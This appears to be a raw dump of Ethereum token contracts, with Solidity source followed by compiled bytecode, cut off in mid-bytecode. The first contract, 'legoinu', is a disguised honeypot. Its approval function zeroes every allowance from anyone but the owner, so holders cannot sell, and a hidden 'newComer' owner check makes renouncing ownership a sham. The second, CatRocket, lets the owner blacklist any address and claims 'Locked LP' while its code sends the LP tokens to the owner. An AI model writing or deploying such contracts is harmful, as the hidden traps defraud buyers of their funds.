returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract legoinu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 2500 * 10**9 * 10**18; string private _name = 'LegoInu 🟥 | https://t.me/LegoInu1'; string private _symbol = '$LEGO'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110ba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110986022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110736025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111086023913960400191505060405180910390fd5b610de8816040518060600160405280602681526020016110e260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9c578082015181840152602081019050610f81565b50505050905090810190601f168015610fc95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b77be12b3fbc936b8fb3fa2fc125c56c23dd10dff36230881944449c35fc4de564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,249
0xb7931be984d0ab6e86e575e8fdb02bb159036b2f
/* - Developer provides LP, no presale - No Team Tokens, Locked LP - 100% Fair Launch https://t.me/catrocket https://twitter.com/CatRocketEth http://catrocket.club/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CatRocket is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CatRocket"; string private constant _symbol = "CROCKET"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600981526020017f436174526f636b65740000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f43524f434b455400000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a00000000000000000000000